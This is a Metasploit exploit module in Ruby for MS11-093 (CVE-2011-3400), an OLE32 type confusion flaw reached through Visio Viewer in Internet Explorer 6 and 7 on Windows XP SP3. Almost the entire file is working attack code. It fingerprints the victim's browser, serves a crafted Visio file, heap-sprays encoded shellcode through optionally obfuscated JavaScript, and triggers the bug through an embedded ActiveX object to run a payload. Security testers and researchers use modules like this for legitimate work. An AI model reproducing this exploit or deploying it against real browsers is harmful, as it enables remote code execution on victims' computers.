##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS11-093 Microsoft Windows OLE Object File Handling Remote Code Execution",
      'Description'    => %q{
          This module exploits a type confusion vulnerability in the OLE32 component of
        Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple
        function.

        A Visio document with a specially crafted Summary Information Stream embedded allows
        to get remote code execution through Internet Explorer, on systems with Visio Viewer
        installed.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Luigi Auriemma', # Vulnerability discovery and PoC
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'MSB', 'MS11-093'],
          [ 'CVE', '2011-3400' ],
          [ 'OSVDB', '77663'],
          [ 'BID', '50977' ],
          [ 'URL', 'http://aluigi.org/adv/ole32_1-adv.txt' ],
          [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=966' ]
        ],
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00",
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [
            'IE 6 on Windows XP SP3 / Visio Viewer 2010',
            {
              'Offset'    => '0x7ee - code.length',
              'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header
            }
          ],
          [
            'IE 7 on Windows XP SP3 / Visio Viewer 2010',
            {
              'Offset'    => '0x7ee - code.length',
              'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2011-12-13',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ])

  end

  def get_target(agent)
    # If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1]  # IE 6 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[2]  # IE 7 on Windows XP SP3
    else
      return nil
    end
  end

  def exploit
    @vsd = create_vsd
    super
  end

  def on_request_uri(cli, request)

    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent}")
      send_not_found(cli)
      return
    end

    print_status("Client requesting: #{request.uri}")

    if request.uri =~ /\.vsd$/
      @vsd[5106, 2] = my_target['PtrToHeap']
      print_status("Sending Exploit VSD")
      send_response(cli, @vsd, { 'Content-Type' => 'application/vnd.visio' })
      return
    end

    p = payload.encoded

    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
    randnop = rand_text_alpha(rand(100) + 1)

    js_pivot = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, #{my_target['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);

    heap_obj.gc();
    for (var i=1; i < 0x1e0; i++) {
      heap_obj.alloc(block);
    }
    JS

    js_pivot = heaplib(js_pivot, {:noobfu => true})

    if datastore['OBFUSCATE']
      js_pivot = ::Rex::Exploitation::JSObfu.new(js_pivot)
      js_pivot.obfuscate(memory_sensitive: true)
    end

    vsd_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
    vsd_uri << "/#{rand_text_alpha(rand(6)+3)}.vsd"

    html = %Q|
    <html>
    <head>
    <script>
    #{js_pivot}
    </script>
    </head>
    <body>

    <object classid="clsid:F8CF7A98-2C45-4c8d-9151-2D716989DDAB" ID="target">
    <param name=src value="#{vsd_uri}">
    </object>
    </body>
    </html>
    |

    html = html.gsub(/^ {4}/, '')

    print_status("Sending html")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

  def create_vsd
    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2011-3400", "CVE-2011-3400.vsd" )
    fd = ::File.open( path, "rb" )
    vsd = fd.read(fd.stat.size)
    fd.close
    return vsd
  end
end

